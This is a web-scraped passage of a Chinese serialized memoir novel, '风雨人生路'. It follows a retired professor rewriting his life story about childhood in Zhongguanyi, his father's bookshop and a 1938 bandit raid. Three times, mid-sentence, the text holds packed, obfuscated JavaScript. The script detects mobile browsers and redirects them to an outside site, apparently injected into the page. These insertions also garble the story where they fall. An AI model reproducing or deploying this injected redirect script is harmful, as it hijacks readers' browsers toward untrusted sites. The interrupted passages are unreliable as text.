《风雨人生路》 1. 第 1 章 《白日梦》三部曲 第一部《风雨人生路》 桂子湖畔,一处别墅小区,绿树浓荫,错落有致的一排排别墅。 这是一栋现代中国风的双拼花园别墅。 一道朝南开的智能铁艺大门,门后是一个小花园。东南角有一个荷花池,池边是一座太湖石打造的假山。花园内,栏杆上,满是各种各样的花卉,争芳斗艳。 西面是实木围成的廊道,廊道里停放着一辆黑色的奔驰。 穿过廊道,往后走,别墅后面是一排十块小菜地,菜地里绿油油地长满各类蔬菜。 大门后面十几步,是一个颇大的月亮门,门后有一个小茶室,茶几上摆放着精致的茶具。 茶室后面是正门,进门是一个大厅,迎面是整面墙的书柜。 二楼是书房和主卧,三楼有一个大卧室和几个藏书室。 这就是古之华老先生的家。邻居们有的称他为“古教授”,有的称他为“古校长”,有的称他为“古老师”。 这是一个星期天。 二楼书房里传出京剧南梆子的曲调,拉的是京剧《霸王别姬》里的一段。 古夫人在荷花池边修剪花枝。古夫人50岁左右的样子,是那种“入得厅堂,进得厨房,做事总能做出点名堂”的女人。她还是个种花痴,她有一个花友群,一百多人,她是群主,天天在微信上交流种花心得。 钟点工余姐在后面的菜地里忙碌。 大约十点钟的时候,一辆灰色奔驰停在门前,古老先生的女儿女婿带着外孙女来了。 古老先生的女儿毕业于师范大学文学院,在某师范大学文学院教书,女婿毕业于省美术学院,在某在学教书。外孙女在湖北省著名的民办寄宿学校上初中。 一进门,古夫人就迎了上来: “玲玲,你来得正好,快去劝劝你爸爸,他写文章写得发狂了。从你那天走后这半个月,他每天写十几个小时。一大早就坐在电脑前,除了吃饭,一直写到晚上转钟。七十多岁的人了,这样下去,身体怎么受得了!” 女儿一听,立即上楼找爸爸去了。 “回忆录写得怎么样了?别太累了!” “写了十多万字了,写得不行。”古老先生边说边把京胡放到书桌上。 “您有经历那么曲折,那么坎坷,写出来一定很精彩。” “写得太快了,像流水帐,线索不清,东扯西拉。我都大改了三次了,还是不满意,我正考虑全部推倒重来。” 又一辆车停在了大门口,这是一辆桔红色的标致。儿子儿媳带着两个双胞的孙子来了。 楼下热闹起来了,古老先生和女儿一起下楼来了。 古老先生是那种极宠爱孙辈的人。 现在都说中国的家长们“卷”得厉害,那古老先生该称得上世界第一。 双胞胎孙子出生后的第七天,古老先生就一手抱一个孙子,给孙子上课。 “今天开始,爷爷给你们上课。注意了,听爷爷给你们背《三字经》”。 两个孙子瞪着又黑又亮的大眼睛看着爷爷。 “人之初,性本善,性相近,□□。” 很奇妙,这天以后,两个孙子要是哭闹,只要大人念““人之初,性本善,性相近,□□”,两个孙子马上就不哭了。 一下楼,古老先生就问外孙女:“当当,琵琶弹得怎么样?” “武汉市艺术小人才比赛,我得了二等奖。”当当很得意地回答 。 “怎么只得个二等奖?你弹的哪些首曲子。” “我弹的是《十面埋伏》,刚学不久,节奏没把握好。” 古老先生又问儿子:“大宝小宝能背多少唐诗了?” 儿子说:“以背30多首了。” “三字经呢?背到哪儿了?” “背了三分之一了。” “背了两年多了,怎么还没背完?”老先生有点生气的样子。 “才两岁半啊!已经很不错了!我们的大宝小宝都是顶顶聪明的宝宝!” 古夫人抱起大宝,拉过小宝,顶了老先生一句。 老老少少三代人,欢欢乐乐,热热闹闹,直到晚上八点多钟。 两辆车都开走了,古夫人在一楼忙着收拾。 古老先生又坐在电脑前,他决定推倒重来。 健盘又开始“嘀嘀嗒嗒”响起来,文字在显示屏上一行行显现—— 第一章胡里胡涂回故乡 一 古家生了个妖怪 我八岁那年的一天,我正在教室里上课。 突然,一辆大货车停在了校门口,只见父亲从车上跳下来,急匆匆地跑到教室,看都不看正在讲课的老师一眼,就跑进教室里对着我咆哮道:“走!跟老子回老家!”我一下子惊呆了。 我胡里胡涂地收拾起书包,胡里胡涂地上了车,车上还有我母亲。我问母亲:“么回事啊?为什么呀?”母亲一把把我拉到怀里,低声说:“别做声,你伯正生气呢。” 大货车在高低不平的山间沙石公路上颠簸着。 要回老家了,我是在老家出生的,一岁半的时候就跟着母亲离开了老家。 我的老家是湖北黄陂县东乡会龙山脚下一个叫做古家田的小村子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915206|160265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 母亲说,我出生的时候难产,生我生了五天,生下来没气,全村的人都挤在堂屋里想办法。 于是,摔盆摔碟,砸水车,烧纸请神,都没用。 后来,是上屋的老大(我们那里称太祖母为“老大”)提起我的两个小腿,在屁股上打了几巴掌,我才“哇”地一声哭了起来。 母亲说,难产是因为我的头特别的大,生出来后,脑袋细长细长的,像个丝瓜,特别怪。村里人都说古家生了个妖怪。 父亲说,生了这么个怪物,这么丑,以后就不要带到麻城去丢人。 母亲让父亲给我取个名字,父亲说:“这么丑,全国都没这么丑的了,就叫“丑国”吧!” 母亲从小就非常爱美,不喜欢这个名字,也没有办法,“丑国”就“丑国”,就这么叫吧。 直到有一天,母亲把摇窝放在门前大树下,我在摇窝里睡觉,母亲在旁边做针线活。 忽然下起雨来了,外公这时候走过来了,他对母亲说:“下雨了,快把之华抬到屋里去吧!” 母亲一听非常高兴,连连说:“之华,之华,这个名字好!这个名字好!” 我出生的时候,老家正在搞土地改革。父母是为了参加土改分田地才回黄陂老家的。 父亲说,当年他是不想回家参加土改的,全家都在麻城做生意,就不要乡下的田地了。 可是奶奶不同意。奶奶说,在老家,有那么好的房子,那么多的田地,丢了舍不得。 父亲是个大孝子,从来就不敢违背奶奶的意愿。后来,父亲总是说,当年如果不回老家搞土改就好了,就不会有后来那么多的磨难了。 土改时,我们家差一点就划成地主兼资本家了。 我们村另外一家,也是老家有田地,城里有生意,划成了“地主兼资本家”,田地房产都没收了,只给留了一间住房。 而我家呢,田地和他家差不多,生意比他家还大,我家的成份划的是“商人在乡土地”。 主要是老家人都很敬重我爷爷奶奶,土改工作组也手下留情了。而那一家呢,主要是他们家老太太为人不好,得罪人太多了。举个小例子说。这老太太刚养了一窝小鸡,就拿着砧板和刀,坐在村口骂了一天,她说是先骂在前面,以后谁偷了她的鸡,就要挨千刀。 土改结束了,父亲终于同意母亲带着我回麻城中馆驿了。 可能是我的脑袋慢慢又长圆了不那么难看了的缘故吧。 我的脑袋比一般的小孩大很多,街坊们见到我总是唱: “大头大头,下雨不愁,别人打伞,我有大头。” 2. 第 2 章 二 童年的中馆驿 大货车在高低不平的山间沙石公路上颠簸着。 童年的我望着渐渐远去的中馆驿,心中依依难舍。 中馆驿是一个历史悠久、人文厚重的千年古镇。早在唐朝时期这里就是官方驿站,“光黄大道"”、“茶马古道”曾纵穿南北,横贯东西,商贾往来,宾客云集,盛极一时。著名词人苏轼曾在此留下名篇佳作,一代廉吏于成龙在此施政,青史流芳。 我幼儿时,中馆驿还是古色古香的古镇,古老的街道,两层的店铺,木板店门,青石板的街道,青石板上有很深的车辙印。 镇四周是青砖的城墙,还有城门洞。经常有河南的安徽的乞丐在城门洞里打架争地盘。城墙外还有护城河,我们常到护城河边玩。 离我家不远,有一座非常雄伟壮观的文昌宫,据说是唐代西川节度使段文昌少年时读书的地方,史称“段公读书台”。 我上一年级时,放学后,常在文昌宫前的石阶上做作业,做完作业再回家。 文昌宫里有很精致的“二十四孝”浮雕。非常可惜,在我读小学二年级的时候,与城墙一起都被折了。 拆文昌宫的时候,我上学放学都经过那里,曾和小伙伴们一起,在成堆的木头和砖瓦中找那些好看的浮雕。我发现,在那些古老的青砖上还有文字和图画呢。 我想,这个千年古镇如果没有被拆掉,即使还是我儿时的样子,一定是个游览打卡的好地方。 我弟弟之瑜没回老家,他是在中馆驿上的高中,他说他有个同学,是当地一位很成功的企业家,曾计划重修古镇,我听了很兴奋,希望他能修成。但是直到现在,没有消息了。 我家先是住在中馆驿的北正街,这是全镇最繁华的地方,每天早上街上都熙熙攘攘挤满了人。 我家的商铺处于街的中心地段,生意很红火。在我的记忆中,店铺里有个很长很高的大柜台,柜台后面是一排货架,货架上摆满了绸缎布匹。我常在这柜台上爬来爬去。 妈妈说,我是在这个柜台上学会说话的。 我说话比较晚,大约是快两岁的时候,妈妈拿起柜台上量布的尺子问我:“子华,这是什么呀?” 我说:“尺。”这大概是我这辈子说的第一个字。 妈妈见我开口说话,高兴得不得了,到处说:“我儿子会说话了!” 妈说她曾担心我是个哑巴,因为和我差不多大的孩子早就会说话了,而我已经快满两岁了,还不会说话。 我家有个后门,出后门就是一个露天剧场,经常有剧团来演出,有麻城汉剧团,有麻城东路子花鼓戏,一唱就是好多天。 一到要唱戏了,很多人吃完中饭就跑到我家的房间里藏起来,因为下午剧团的人就会来锁我家的前门。 我妈特别爱看戏,那时就几乎天天抱着我看戏,所以我从小就特别爱看戏,这大概也是我现在特别迷京剧的原因吧。 我妈说,当戏台上出现花脸胡子生我就哭,戏台上出现青衣花旦我就笑。我幼儿时记忆最深的事就是看戏。 街上大孩子们也都迷上了戏,他们用五颜六色的纸做成盔甲,头盔上还插上两根柳条当“地鸡毛”,手拿着木头做的大刀,学着戏台上武生的样子互相打斗。 我小时候很喜欢孙悟空,就拿一根竹竿当金箍棒,跟在他们后面乱舞一通。 在中馆驿时,最开心的是春节期间。 小年一过,家家的大人为自家的小孩扎鱼灯,父亲给我扎的是鲤鱼灯。灯的骨架是用竹子扎成的,外面糊上纸,然后在纸上画上鱼头鱼身子,鱼灯里面有一个灯座,上面插上一根小蜡烛。 一到晚上,我们北街的十几个小伙伴,每人手举一个鱼灯,排着队,沿街游走,走到一户人家的门口,就唱“鱼灯大张口,给支蜡就走。” 这户人家早就按惯例准备好了小蜡烛,送给我们每人一根。 一直玩到正月十六,玩鱼灯的高潮到了。我们举着灯,排着队,出街口,出城门洞,来到护城河边,一齐喊:“烧鱼啰!” 于是大家一起把鱼灯一歪,十几个鱼灯就一起烧起来了,火光映红了护城河,也映红了我们的笑脸。 春节期间,我们最高兴的是跟在大孩子们后面看他们“劈甘蔗”。 正月里,街上到处都是卖甘蔗的摊子,大孩子们在甘蔗摊子前玩“劈甘蔗”的游戏。 规则是:几个人依次同劈一根甘蔗,上场的人,拿一根甘蔗立在场地中间,先用刀口压着甘蔗头,然后把刀翻过来,用刀背压着甘蔗头,甘蔗不能倒,倒了就犯规了。 这时,要猛地把刀翻过来去劈甘蔗,劈下来的甘蔗皮用来比长短。几个人依次劈完后,就比谁劈下来的甘蔗皮长,长的为赢,短的为输,输家就要拿钱买下这棵甘蔗。 劈甘蔗的人忙着劈甘蔗,没功夫吃甘蔗,这甘蔗就归我们这些在一边看的小孩们吃了。 我有一个亲戚安民大哥非常喜欢玩这个“劈甘蔗”的游戏,我就常跟着他去吃这不花钱的甘蔗。 世界上的事物,人们在拥有它们的时候,往往感觉不到它们的珍贵,到将要失去或一旦失去时,它们的珍贵就突现出来了。 要离开中馆驿了,真舍不得离开街上众多的小伙伴! 幼儿时的玩伴,映象深的还有一个名叫小红的小女孩。 她总喜欢穿红色的衣服,两个小辫子上扎着红蝴蝶结,脸蛋也是红仆仆的,眼睛又黑又大,闪亮闪亮的。 她家是开小食品商店的,她经常拿些糖果给我吃,我们天天一起玩一起吃,有时还一起“过家家”。 有一天,她家突然搬走了。 于是每天,我都到街口小桥边的石头上去坐着等她回来。 可是一直没等回来,每次都是奶奶把我从小桥边拉回来,奶奶说:“小红不会回了了,你别再在这里等了。” 终生都难忘也影响我终生的一件事,发生在我四岁多时候。 那天下午,我和小伙伴一起到城墙下护城河边抽茅冲吃,也就是吃茅草花的嫩芽。 我抽了一把茅冲就坐在护城河边吃,忽然发现旁边是一坐小坟。 小坟上有一张三条腿的破桌子罩着,桌子下的小坟被野狗掏了一个洞,里面的小骷髅和其他的骨头一起白生生地露了出来。 我看到这些东西,就想,我要是死了,也会变成这些东西了,于是伤心极了,就哭起来了,越哭越伤心,竟忘了小伙伴,也忘了回家,直到听到奶奶那尖利的呼唤声。 回家后,好几天我都发呆,眼前总是像看到那些白生生的东西在晃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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郭老师不仅长得漂亮,还很会唱歌,她是女高音,声音清亮甜美。她曾教我们唱《小燕子》,那欢快的旋律和她甜美的歌声,让我们感受到了春天的美好。 记得是1958年的国庆节,当时我刚上一年级。学校搞国庆文艺会演,我们班的演出节目是大合唱。 郭老师让我站在中间领唱。 为了这次演出,母亲特意为我做了新衣服。 我以前总是穿背带裤,这次母亲为我做的是西装裤,还需要系裤腰带,我从来没系过裤腰带,有些不适应。 演出时,可能是裤腰带没系好,当唱到一个高音的时候,我小肚子一用劲,只感觉裤腰带突然松了,裤子一下子就掉到了膝盖下面。 小时候没穿内裤,这下可好,下面都露出来了!台下的老师和同学们笑得前仰后合。 我急忙提起裤子,然后还是很认真地提着裤子,继续很认真地唱,一直提着裤子唱完了整首歌。 刚一唱完,郭老师就快步上前,一把抱着我说:“你真是我的个小宝贝啊!” 几年后的一天,我回中馆驿看奶奶,在街上偶然遇到了郭老师。还特意买了一棵甘蔗给我吃。打那以后,我就再也没有见过郭老师了。 我一直很怀念郭老师,常常向麻城人打听她的消息。听说她在□□中吃了不少苦,但她始终没有放弃对教育事业的热爱,后来成了麻城县优秀的语文特级教师。 3. 第 3 章 三 我的父亲“ 古代表” 大货车在高低不平的山间沙石公路上颠簸着。 这个大货车不知运过什么东西,车箱里很脏。 我和母亲蜷缩在车箱前的一个角落里,母亲身边只有一旧皮箱,这也是我们带着的唯一一件行李。 父亲则手扶着货车墙板站在车箱的另一边。 我父亲是1930年冬天出生的,现在是1960年9月初,父亲还不满30岁,外表看起来很年轻 ,比实际年纪还要年轻很多,好像20岁都不到,像一个未毕业的大学生的模样。 几年后我上初中时,父亲到学校去看我,同学们还说:“你哥来看你了。” 父亲皮肤非常白嫩细腻,五官清秀,只看脸庞,就像个大姑娘。 然而,父亲的长相和性格却反差极大。父亲性情火爆急躁,疾恶如仇,又如同孩子般的率真。 大概是站累了,还是气消了一点,父亲走到我们这边来,靠近母亲坐了下来。 母亲刚满28岁,眉目清秀,留着齐耳的短发,低头坐在行李箱上,见父亲过来了,说:“我们走了,伯、妈、还有小儿子怎么办?” “他们都不愿意跟我们回老家,我有什么办法!”父亲把头歪倒一边说。 “妈可是说过,宁可讨饭也不回老家的,妈恨老家那个地方。” “二宝之瑜才3岁,那么小,伯妈怎么带?” “我不是要把全家都转回老家了吗?过几天我再去把他们接回老家来,” “你能转回来吗?妈会听你的吗?你只会听妈的!” 父亲不做声了。母亲接着说:“你这回走,我估计你连单位都没打招呼,是不是?” “坏了!今天说好了给学校送课本的,”父亲突然显得有些不安的样子,转头问我,“之华,你们这学期的课本发了没有?” “语文课本发了,算术课本没有发。”我说。 父亲有些急躁不安了。皱着眉,低着头,不做声了。 父亲是中馆驿镇新华书店的经理,他也是这个书店的创办人,他的书店还是整个黄冈地区的模范标杆书店,刚刚得到地区总店的表彰。 因为父亲带头参加公社合营,还被选为麻城县人大代表。 虽然我父亲是新华书店的经理,但在镇上,人们都不称我父亲“经理”,而是都称我父亲为“古代表”。 我的祖父9岁那年投奔亲戚到中馆驿,后来就有了麻城享誉大别山区的“永兴商号”。 祖父的商号主要从事丝线生意,也被当地人称做“古家线铺”。大别山区的姑娘媳妇们喜欢穿绣花的衣服绣花的鞋,“古家线铺”的绣花线最受当地人喜欢,所以生意越做越大。 后来又做上了布皮生意,再后来又做上了百货生意。镇商会里八大交椅还有了我祖父的位置。 我父亲当然就是“永兴商号”的少老板了,经常跑大汉口进货,也是汉口“大市场”的常客。 当年的这个“大市场”就是后来的“民众乐园”。我父亲最爱看关啸彬的戏,是关啸彬的终生粉丝。 我父亲学唱关啸彬的唱腔那真是惟妙惟肖。到我父亲92岁去世时,我父亲收藏的楚剧碟片有一千多张。 怪不得父亲那么爱看楚剧,总是津津乐道当年在大汉口看楚剧的情境,那是他非常怀念当年少老板的生活啊! 解放后父亲在麻城也很辉煌啊!现在怎么突然要回老家呢? 后来妈妈总是说父亲是读老书读多了,中老书的毒太深了。 这话还真有些道理。 公私合营的时候,我父亲是积极分子,带头把“永兴商号”的全部资产都交了出去,作为公商业界的代表当选县第一届人大代表,入选大会主席团,被选为公商联主席和县长一起坐在主席台上。 我清楚地记得中馆驿全镇的人欢送我父亲去县里参加麻城县人民代表大会的场境: 父亲胸前戴着大红花,满大街的人手拿小彩旗,鞭炮轰鸣,锣鼓喧天。 说起这公商联主席,还有一段笑话。 父亲当选公商联主席后,对祖父说,我不能再穿长褂了,要穿中山装。因为直到这时,我祖父和父亲一直是穿长褂。 祖父一听大怒,拿着棍子追着父亲满街打,搞得街坊四邻笑话了很长时间。 我祖父直到1968年去世,一直都是穿长衫,戴瓜皮帽,留着长长的胡须。 后来这公商联主席终竟没当成,因为我祖父不同意,祖父坚决不许我父亲当官。 我父亲费好大地劲才把这主席的位子让给了一个姓吴的同乡,而这个同乡竟正是造成我父亲坚决要回老家的原因之一。 我奶奶从小就告诉我,这个姓吴的是我们全家最大的仇人。 二十年后,我和弟弟在大学放暑假期间回中馆驿玩,姓吴的硬拉我们到他家吃饭,席间,他反反复复地解释当年我们家下放的事,希望我们不要恨他。 父亲当选县人大代表时,是镇供销社百货商店的负责人之一。 我父亲是很能干的人,动手能力强。在负责百货商店的时候就搞过不少的小发明创新。 例如,我父亲发明的“自动量码器”,你要到我父亲的店里买鞋,搞不清穿多大码的鞋,只要你把脚往我父亲发明的“自动量码器”上一踏,马上就知道穿多大码的鞋了。 再如,“货物传送带”,我父亲商店的铺面不大,很多货物下面的铺面摆不下,很多货物放在楼上。如果来买货的人要买的货物在楼上,售货员就要楼上楼下的跑。于是我父亲就搞了个小发明,做了个“货物传送带”,下面的售货员一喊什么货,上面的售货员就很快通过“货物传送带”把货物送到楼下了。如此等等。 当选人大代表后,父亲又被推送到黄冈财经干部学校学习。 学习期间,父亲非常认真努力,成绩优异,被评为优秀学员。 父亲后来把他在黄冈财经干部学校学习时的学习笔记本送给了我,我一直保存着。 父亲的学习笔记,条理清晰,内容详细,书写工整。 父亲说,上课时,他力争把老师的每句话都用草稿纸先记下来,下课后,再整理到这个本子上。 我无论是上中学,还是上大学,都是按照父亲的方法记课堂笔记,一辈子受益很大。 从黄冈财经干部学校毕业后,父亲就转为国家干部,创办了镇上的新华书店。 我父亲从小就爱画画,中馆驿满街的墙报壁画,大多出自我父亲的手笔。□□时,北正街上那幅“搭梯摘棉花”的大型壁画就是我父亲的杰作。 在父亲的新华书店的正面墙壁上,有一幅很大的山水画,我印象特别深: 青绿的山,树木葱郁,绕着青山的是碧绿的湖水,湖面上有一只渔船,船上有一个渔民在打鱼,船下面还有渔船和渔民的倒影。 幼时的我觉得那倒影特别新奇:怎么那么像真的一样? 这幅画曾受到当时的地区两位领导的称赞,一位叫一个叫白水田,一位叫郑建军。 在中馆驿,父亲有好几个画友,其中有两位是麻城县知名画家,一位姓叶,一位姓李。 这姓李的画家名叫李之虔,在全国都有点名望,曾在上海画馆和成都画馆工作过,抗战胜利时,他还在重庆办过个人画展,据说,他画的钟魁别树一帜,在书画界很受推崇,“麻城十景”就是他画的。 父亲爱画画,他也很重视对我艺术方面的培养,特地请李之虔先生教我画画,我很荣幸地成为李老先生的关门弟子,还规规矩矩办过拜师仪式,行过拜师礼。 我还深刻地记得他给我上的第一堂课。 那是一个夏日的清晨,父亲带着我去李老先生家上课。 去的路上有一条河,河水很浅,我们趟水过河,过了河是一片竹林,在竹林深处就是先生的家。 这是一座很别致的二层小楼,楼下是待客厅,客厅后面是卧室和厨房,楼上是画室。 开始上课了,我想学的是山水画,先生非常简单地讲了一下有关山水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915208|160265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 画法的一些知识,就上到楼上画室里去了。 先生的画室很特别,没有楼梯,只有一个小口,先生是搭上一个小竹梯上去的。 大约半个钟头,先生从楼上下来了,手里拿着一幅刚画好的水墨山水画,没有上色。 先生对我说:“拿回去临摹,临摹到你觉得差不多一样了再来上第二课。” 没敢多耽搁先生,上完课,我就和父亲一起告别先生回家了。 老先生当时已经90岁了,没多久不幸去世了,我也就没能去上第二课了。 父亲自幼聪慧过人,记忆力超强,读书能过目不忘。父亲八十多岁时,还能熟练背诵《论语》《孟子》中的篇章。 教我父亲的私塾先生是当地很有声望的一名晚清落弟秀才,人称“保明先生”。 父亲说,“保明先生”很严厉,爱用板子打学生,学生背书,背错一个字就打一板子。 我父亲说,他一板子都没有挨过。 我曾经去看望一个和我父亲小时候在一起读书的同族的叔叔,他是武汉大学毕业的高材生,在武汉某高校任教。 闲谈中,这位叔叔谈起了和我父亲一起上私塾时的情形。 他对我说:“你父亲真的好聪明!背书真快,还一个字不错。我还没读清楚,他就会背了。我经常挨先生的板子,你父亲从来没挨过板子。可惜他没有继续读下去,他要是继续读下去,一定比我强。” 没让父亲继续读下去,是我父亲一辈子最大的憾事。他也曾经争取过。 那是在刚解放时,我父亲还不满18岁,按当时的招生政策,是可以插班上高小的。 我父亲很想上,就去求奶奶,奶奶不同意,奶奶说:“会认字,会算帐就行了,做生意用得上。上什么学呢?” 我父亲在中馆驿有一个忘年交,姓黄,曾在官府做过师爷,人们都叫他“黄师爷”。我也常到“黄师爷”家玩。 父亲找“黄师爷”帮忙,因为我爷爷很佩服这个“黄师爷”。我父亲想,说不定“黄师爷”能说服我爷爷奶奶。 “黄师爷”非常赞同我父亲读书的事,就一口答应,拄着文明棍就来到了我们家。 可是,无论“黄师爷”的三寸不烂之舌多么厉害,就是说不动爷爷奶奶。 结果,父亲读书的梦就此破灭了,这也是我父亲一辈子最大的遗憾。 父亲在85岁那年还做过一个梦,梦里他正在准备考研究生呢。 为此,我还写过一篇文章《父亲的梦》: “我的父亲今年已经是85岁的老人了。五一期间,我从北京驾车回湖北看望父母,交谈中,父亲说他前几天做了一个梦,在梦中,父亲正准备考研究生。父亲在梦中说:“读研要三年,读完研究生,我不就35了吗?”在梦中,父亲才30岁呢。 从我记事起,父亲就经常说起他一生最大的遗憾,那就是他的父母我的祖父母没能让他继续读书。 听父亲谈他刚做的读研究生的梦,我实在禁不住眼中又甜又酸的泪水不争气地流。面对着白发苍苍的父亲,我含着泪对他说:“爸爸,你本来就是博士(教育儿女的博士)了。————” 我父母的身体都很好,前年我领着父母登长城,两位老人比我的劲头都高,他们在前面蹬蹬蹬直上,我在后面上气不接下气。 母亲说,她要上到最高的烽火台。我说:“妈呀,上面的烽火台和这下面的一样,就不上了吧!” 愿父亲永远是30岁!像父亲梦中那样。” 父亲的书店办得很红火。父亲在镇下面的各个乡都设立了图书室,书店送书上门。 父亲正因为这个创举,才得到地区新华书店总店的表彰,并树为标杆,向全县推广。 镇里中小学的课本,父亲也都是亲自送到学校。 当听到我说“算术课本没有发”时,父亲很明显有些内疚了。 这次父亲冲冠一怒回故乡,连对上级领导招呼都没打,什么手续都没办,的确太冲动,有些荒唐啊! 4. 第 4 章 四 1938 年,阴霾笼罩着华夏大地,日军悍然发动对武汉的进攻,武汉保卫战的烽火就此熊熊燃起。战火如恶魔般肆意蔓延,日军从大别山方向疯狂进犯,所到之处,皆是一片惨状。炸弹的轰鸣声不绝于耳,大地在颤抖,村庄、城镇被无情的炮火吞噬,化作一片焦土。 中馆驿这个宁静的小镇,不幸沦为日军进攻路线上的牺牲品。古家那曾经热闹繁华的商铺,在无情的轰炸中轰然倒塌,砖瓦飞溅,扬起漫天的尘土,瞬间化为一片废墟,往日的生机与繁荣消失殆尽。 面对这突如其来的灾祸,爷爷奶奶心急如焚,四处奔波,雇了好几十辆小车,在崎岖的山路上艰难前行。一路上,翻山越岭,历经艰辛,才将炸剩下的货物运回黄陂老家,满心期望能保住一丝家业,让古家的根基得以延续。 消息却像长了翅膀一般,迅速传开。当地的土匪听闻古家货物运回老家的消息,一个个顿时红了眼,眼中闪烁着贪婪的光。 这批货物在那个动荡不安的年代,简直就是一笔令人垂涎欲滴的巨额财富。 我外婆家与我们同处一个村子,而这伙土匪的头子竟是我外婆的族侄。 当外婆得知土匪要抢劫古家的消息时,她的内心陷入了极度的矛盾与挣扎之中。她一方面担忧当时正在古家做童养媳的女儿的安危,那是她身上掉下来的肉,是她最牵挂的人;另一方面,或许是出于对族侄的一丝袒护,又或许是害怕惹祸上身,她竟没有将这个危险的消息告知古家。 于是,在一个漆黑的夜晚,月光被厚重的云层遮蔽,四周一片寂静。外婆趁着夜色,偷偷摸摸地跑到古家,她的脚步急促而又小心翼翼,生怕发出一点声响。 见到我妈后,她一把拉住我妈的手,急切地说道:“闺女,跟娘走,这地方待不得了!” 年幼的母亲一脸茫然,眼中满是疑惑,她在古家生活已有一段时间,对这里的人和事都有着自己的牵挂,这里的一切早已融入了她的生活。 她用力挣脱外婆的手,坚定地说:“妈,我不走,我舍不得这里。” 外婆又不好直接说明原因,生怕把动静搞大了惊动古家其他人,到时候惹来更大的麻烦。 无奈之下,她只能长叹一口气,又偷偷地回去了,留下满心的忧虑,在床上辗转反侧,难以入眠。 村子里还是有正义之士知道了土匪要抢劫古家的消息,赶忙跑来告诉了我爷爷。 爷爷听闻后,不慌不忙地捋着长长的胡须,神色镇定自若,仿佛一切都在他的掌控之中。他的嘴角微微上扬,露出一丝自信的笑容,缓缓说道:“他们敢么!” 爷爷可不是一般人,他有着一身令人惊叹的好功夫。他一辈子走南闯北,历经无数风雨,见过各种各样的人和事。在名师的悉心指点下,他练就了一身过硬的本领,据说对付二三十人不在话下。 村里有位老人,每当回忆起爷爷的功夫,都满脸敬畏,眼中闪烁着崇拜的光芒。 他说,那是在湖南某地的一个镇上,一个恶霸正在街头行凶,他手持利刃,肆意欺负弱小,吓得路人皆敢怒不敢言。 我爷爷路见不平,正义感瞬间爆棚,毫不犹豫地挺身而出,大声喝道:“住手!” 那恶霸生得身高马大,满脸横肉,一看就是个不好惹的角色。他见我爷身材瘦小,心中满是不屑,冷哼一声,抡起双拳就气势汹汹地向我爷爷扑了过来,那架势仿佛要将爷爷生吞活剥。 然而,刚一近身,就见那恶霸像被一股无形的力量击中,整个人在空中划过一道弧线,轰地一下扑面倒在了地上,半天爬不起来。 村里的那个人回忆起当时的场景,仍满脸惊叹,他说:“我就在当场,古大哥的手太快了,快得就像一道闪电,根本就没看清他是怎么动手的,仿佛只是一瞬间,恶霸就已经倒地了。” 还有一件事在村里乃至周围十里八村的人都知道。 那是有一年,古姓的族人跟邻近的何姓族人因争山林地界发生大规模械斗。 两方的人都手持刀矛,杀气腾腾,一场恶战一触即发。 我爷爷却毫无惧色,他昂首挺胸,赤手空拳走在古姓族人的最前面,那气势,仿佛能震慑住一切邪恶。 结果,何姓族人看到爷爷的身影,竟吓得双腿发软,落荒而逃。 跑在最后面的一位何姓族人正好和我们家沾点亲,他一见我爷爷,吓得脸色惨白如纸,手一松,把长矛往地上一丢,掉头就跑,那狼狈的样子让人忍俊不禁。 我爷爷见状,不慌不忙,从地上拾起他丢下的长矛,对着那位逃跑的何姓族人大声喊道:“老表,回来回来,把你的家伙拿回去!别丢人现眼了!” 土匪们知道我爷爷在家,忌惮他的功夫,迟迟不敢动手。他们在村子周围像一群饿狼一样徘徊观望,寻找着下手的机会。他们时而躲在树林里,时而潜伏在草丛中,眼睛紧紧地盯着古家的一举一动,不放过任何一个细节。 过了十几天,我爷爷见没什么动静,以为土匪们就此罢休了。加上麻城的商铺刚刚被日本人炸了,还有好多事情亟待处理,那里有他的生意伙伴,有他多年来积累的人脉和资源,他必须回去收拾残局。于是,他怀着对老家的一丝担忧,一步三回头地赶回麻城去了。 然而,危险却在悄然逼近。 就在我爷爷走后的一天,夜半时分,万籁俱寂,整个村子沉浸在一片黑暗之中,仿佛被一层黑色的幕布笼罩着。 突然,十几条黑影如鬼魅般窜进了村中,他们的脚步轻盈而又迅速,仿佛是从黑暗中钻出来的恶魔。 村里的狗像是感受到了危险,都狂叫起来,声音在寂静的夜里显得格外刺耳,仿佛在向人们发出警报。 村里人听到动静,都吓得瑟瑟发抖,躲在屋内,不敢出门。他们用被子紧紧地捂住自己的头,大气都不敢出,生怕被土匪发现。 此时,家里面,生病的叔爷和当时只有 8 岁的父亲躺在床上,满脸惊恐。叔爷的脸色苍白如纸,他的身体本来就虚弱,再加上这突如其来的惊吓,显得更加憔悴。父亲紧紧地依偎在叔爷的怀里,他的小手紧紧地抓住叔爷的衣角,眼中充满了恐惧。 